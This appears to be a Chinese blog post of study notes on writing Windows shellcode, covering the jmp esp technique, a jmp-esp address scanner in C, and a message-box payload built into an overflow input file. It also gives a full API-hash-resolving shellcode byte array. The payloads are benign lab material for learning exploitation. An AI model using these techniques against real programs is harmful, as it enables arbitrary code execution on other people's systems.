【0day shellcode编写艺术】—— jmp esp、动态获取api。后续:编码、压缩

此次主要徒手体会了一下编写shellcode 的不容易。当真不容易,看着作者的代码,都感觉自己无处可以下手了。 需要的底层原理知识也还挺多需要补充上去的。

打算后期再逐渐补充。目前阶段将jmp esp弄懂了。后面动态获取api在主机上出错了。问题和搜索jmp esp代码时候貌似一样,产生访问越权的问题。后期再继续解决吧。

目前整理一下整个的思路。

1、shellcode、expoit的概念;

2、为了更好的注入shellcode,里程碑式的方法。使用jmp esp。

3、后续:动态获取api、编码shellcode、压缩shellcode。

后续内容用在之后再学习。

1、shellcode、exploit概念

shellcode:通称缓冲区溢出攻击中植入进程的代码。

exploit: 代码植入的过程成为漏洞利用,即exploit。

2、里程碑式的注入方法:jmp esp

之前我们的一个思路,是将shellcode注入到缓冲区里面。通过溢出修改返回地址,指向缓冲区的起始位置从而执行shellcode。

但是这样会有一个弊端。目前溢出修改的返回地址是固定的,如果系统一重新启动,或者重新运行程序,分配的地址就会改变,原来的shellcode就不行了,需要再次od看地址,修改地址。这样很不方便。这个问题再困扰了人们很久以后,在1998年,黑客组织“cult of the dead cow”的Dildog首次提出了使用jmp esp的动态定位,成为shellcode里程碑式的进步。

98年,我还是小屁孩的。外面的世界就早已经风起云涌了= =

使用jmp esp有这样的原理。在每次当前函数返回之后,esp都会指向紧紧挨着的下一个栈帧的栈顶。那么通过将shellcode放在返回地址后面,就可以动态的执行了。

(其实我考虑能不能在shellcode中直接获取当前缓冲区的起始地址,然后动态的放到返回地址中,但发现难度大,而且麻烦,代码量也会增加很多。革命式的进步真是很伟大!)

目前的问题就是通过代码搜索内存的jmp esp指令的。使用OD插件可以成功,但是自己设计程序却始终无法找到。

uer32.dll找0x1000个字节就说越权了,不明白是为什么,难度目前windows对这个进行了控制?

OD的插件最后放出来。

自己写的代码(书上的)修改后,可以在VS2010中运行的。

#include "stdafx.h"
#include <stdio.h>
#include <windows.h>
#define DLL_NAME "kernel32.dll"

int _tmain(int argc, _TCHAR* argv[])
{
	BYTE *ptr;
	int position,address;
	HINSTANCE handle;
	BOOL done_flag = FALSE;
	handle = LoadLibraryA(DLL_NAME);
	if(!handle)
	{
		printf(" load dll error!");
		getchar();
		return 0;
	}
	ptr = (BYTE*)handle;
	printf("start at 0x%x\n",handle);
	for(position = 0 ; !done_flag ; position++)
	{
		__try
		{
			if(ptr[position] == 0xFF && ptr[position+1] == 0xE4)
			{
				address = (int)ptr + position;
				printf("jmp esp found at 0x%x\n",address);
			}
		}
		__except(2)
		{
			address = (int)ptr + position;
			printf("END of 0x%x\n",address);
			done_flag = TRUE;
		}
	}
	getchar();
	return 0;
}

接着,依旧利用上一个章节的程序和password文件,构造shellcode注入。

为了让shellcode代码安全退出,比上个章节多找个exitprocess函数。

上次使用OD寻找,这次使用Dependency walker 查找,发现动态链接库的基址找的不准确。相对位置是准确的。

所以我还是用上面的search代码找的基址,用DK找的的相对位置。得到如下地址,每台电脑数据不一样。

uesr32 --> 76EF0000  mesg = 0x0006fd1e
	0x76F5FD1E    USER32.MessageBoxA
kernel32.dll 76bb0000   -->  exitprocess= 0x000179d8
exit --> 0x76BC79D8

接着,写入相应的汇编代码,在对应的位置修改地址,获取机器码:

// shellcode_useJmp.cpp :
//

#include "stdafx.h"
#include <windows.h>

int _tmain(int argc, _TCHAR* argv[])
{
	HINSTANCE LibHandle,LibHandle2;
	LibHandle = LoadLibraryA("user32.dll");
	LibHandle2 = LoadLibraryA("kernel32.dll");
	_asm
	{
		sub sp,0x440
		xor ebx,ebx
		push ebx
		push 0x74736577
		push 0x6c696166

		mov eax,esp
		push ebx
		push eax
		push eax
		push ebx

		mov eax,0x76F5FD1E
		call eax//messagebox,修改

		push ebx
		mov eax,0x76BC79D8
		call eax//exit(0),修改
	}
	return 0;
}

得到机器码

013E13CC               66:81EC 4004    sub     sp, 440
013E13D1               33DB            xor     ebx, ebx
013E13D3               53              push    ebx
013E13D4               68 77657374     push    74736577
013E13D9               68 6661696C     push    6C696166
013E13DE               8BC4            mov     eax, esp
013E13E0               53              push    ebx
013E13E1               50              push    eax
013E13E2               50              push    eax
013E13E3               53              push    ebx
013E13E4               B8 1EFDF576     mov     eax, USER32.MessageBoxA
013E13E9               FFD0            call    eax
013E13EB               53              push    ebx
013E13EC               B8 D879BC76     mov     eax, kernel32.ExitProcess
013E13F1               FFD0            call    eax

写入到构造的txt文档中 为:

00000000h: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ; 悙悙悙悙悙悙悙悙
00000010h: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ; 悙悙悙悙悙悙悙悙
00000020h: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ; 悙悙悙悙悙悙悙悙
00000030h: 90 90 90 90 90 90 90 90 90 90 90 90 4F AE F8 76 ; 悙悙悙悙悙悙Ov
00000040h: 33 DB 53 68 77 65 73 74 68 66 61 69 6C 8B C4 53 ; 3跾hwesthfail嬆S
00000050h: 50 50 53 B8 1E FD F5 76 FF D0 53 B8 D8 79 BC 76 ; PPS?v蠸肛y紇
00000060h: FF D0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ; 袗悙悙悙悙悙悙?
00000070h: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ; 悙悙悙悙悙悙悙悙
00000080h: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90    ; 悙悙悙悙悙悙悙?

最终运行成功弹出:并且安全退出

3、动态获取api、编码shellcode、压缩shellcode

这一部分就不做阐述了,因为我想后续再回来学习。里面涉及的代码大都我都无从修改。

叙述一小部分步骤:

【1、获取api 的hash】

MessageBoxA : 0x1e380a6a

ExitProcess:  0x4fd18963

LoadLIbraryA:  0x0c917432

获取hash的目的是为了缩短字符串的比较长度。

【2、直接载入书上的代码,运行获取机器码machine code】

【3、将machine code 转成数组存储】

char popup_general[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";

至此,本章告一段落,感觉初次接触难度还是有的。

主要学到的知识就是shellcode的编写思路。以及整个流程,包括后续的编码,压缩等内容都有大致了解。

最终目的都是要构造一份精简、通用、准确的shellcdoe。

jmp esp 的用法确实不错。

下一章使用metasploit,非常期待!

时间: 2024-11-16 14:01:08

【0day shellcode编写艺术】—— jmp esp、动态获取api。后续:编码、压缩的相关文章

关于 [栈溢出后jmp esp执行shellcode] 原理分析

原文地址:https://blog.csdn.net/lixiangminghate/article/details/53333710 正常情况下,函数栈分布图如下: 即,返回地址被改为一段缓存区的地址.当函数执行结束,从栈中取返回地址准备执行时,取到的是shellcode的地址,最终跳进shellcode执行.这段shellcode的地址一般被硬编码为某个地址,这个地址可以存在于程序空间的任何地方,只要有执行权限.就像写代码时用绝对路径读取配置文件的内容,偶尔会出错一样,为了解决这种错误,可能

开发shellcode的艺术

专业术语 ShellCode:实际是一段代码(也可以是填充数据) exploit:攻击通过ShellCode等方法攻击漏洞 栈帧移位与jmp esp 一般情况下,ESP寄存器中的地址总是指向系统栈且不会被溢出的数据破坏.函数返回时,ESP所指的位置恰好是我们淹没的返回地址的下一个位置.可以通过OD调试看的到. 注:函数返回时,ESP所指的位置还与函数调用约定.返回指令有关系.例如retn 3 和retn4在返回之后,ESP所指向的位置都会有所差异. 由于ESP寄存器在函数返回之后不被栈溢出控制,

Window中的shellcode编写框架(入门篇)

Shellcode 定义 是一段可注入的指令(opcode),可以在被攻击的程序内运行. 特点 短小精悍,灵活多变,独立存在,无需任何文件格式的包装,因为shellcode直接操作寄存器和函数,所以opcode必须是16进制形式.因此也不能用高级语言编写shellcode.在内存中运行,无需运行在固定的宿主进程上. Shellcode的利用原理 将shellcode注入缓冲区,然后欺骗目标程序执行它.而将shellcode注入缓冲区最常用的方法是利用目标系统上的缓冲区溢出漏洞. Shellcod

二、Windows 下 ShellCode 编写初步

第二章.Windows 下 ShellCode 编写初步 (一)shellcode 定义:最先的 Shell 指的是人机交互界面,ShellCode 是一组能完成我们想要的功能的机器代码,通常以十六进制数组的形式存在 NOTES:计算机每次都只是执行当前 EIP 指向的指令(单 CPU).在当前指令执行后,EIP 会自动加 1,从而指向下一条指令.如果有 JMP CALL RET 一类的指令,EIP 就会被强行改变成指定的地址,从而完成流程的跳转 (二)打开控制台窗口的 C 程序 升级版: 程序

使用Mono Cecil 动态获取运行时数据 (Atribute形式 进行注入) -摘自网络

目录 一:普通写法 二:注入定义 三:Weave函数 四:参数构造 五:业务编写 六:注入调用 一:普通写法 1 2 3 4 public static string GetPoint(int x, int y)  {     var value=x; } 哇 好简单啊.其实动态获取和我们普通这样写代码是一样的,我们把要注入的代码,生成一个接收的变量就可以了. 就像上面value 一样接收,然后传递给我们自己函数就可以了. 二 :注入定义 public class WeaveService :

日志系统实战(二)-AOP动态获取运行时数据

介绍 这篇距上一篇已经拖3个月之久了,批评自己下. 通过前面一篇介绍.我们通过mono反射代码,可以拿出编译好的静态数据.例如方法参数信息之类的.但实际情况是:我更需要运行时的数据,就是用户输入等外界的动态数据. 既然是动态的,那就是未知的.我们怎么通过提前注入的代码获取呢? 其实这是一个思路的问题,下面我们具体细看下. 实现 一 普通写法 public static string GetPoint(int x, int y) { var value=x; } 哇 好简单啊.其实动态获取和我们普

PWN 菜鸡入门之 shellcode编写 及exploid-db用法示例

一.shellcode编写 下面我将参考其他资料来一步步示范shellcode的几种编写方式 0x01 系统调用 通过系统调用execve函数返回shell C语言实现: #include<unistd.h> #include<stdlib.h> char *buf [] = {"/bin/sh",NULL}; void main { execve("/bin/sh",buf,0); exit(0); }   execve函数在父进程中for

delphi 动态获取文件类型的图标

delphi 动态获取文件类型的图标.txt我不奢望什么,只希望你以后的女人一个不如一个.真怀念小时候啊,天热的时候我也可以像男人一样光膀子!在应用程序的编写中,组合框(ComboBox).列表框(ListBox).等常见的部件,通常不仅要用于显示文字,而且还要显示其与文字相关的图标.在一般的Windows应用程序中,这些图标的显示都要随列出的显示文本的变化而变化,例如在组合框中列出当前目录下的所有文件时,在组合框左边就显示与文件名相关联的图标,这就是所谓的动态图标.在 Delphi中使用动态图

将Excel导入DataGridView 中的"select * from [Sheet1$]"中[ ]里面表单名的动态获取

Sheet1$是Excel默认的第一个表名,如果改动:select * from [Sheet1$]"将查询失败,因此应根据选择自动获取excel表名: 1 OpenFileDialog ofd = new OpenFileDialog(); //选择文件路径 2 ofd.Title = "Excel文件"; 3 ofd.FileName = ""; 4 ofd.Filter = "Excel文件(*.xls)| *.xls"; 5 s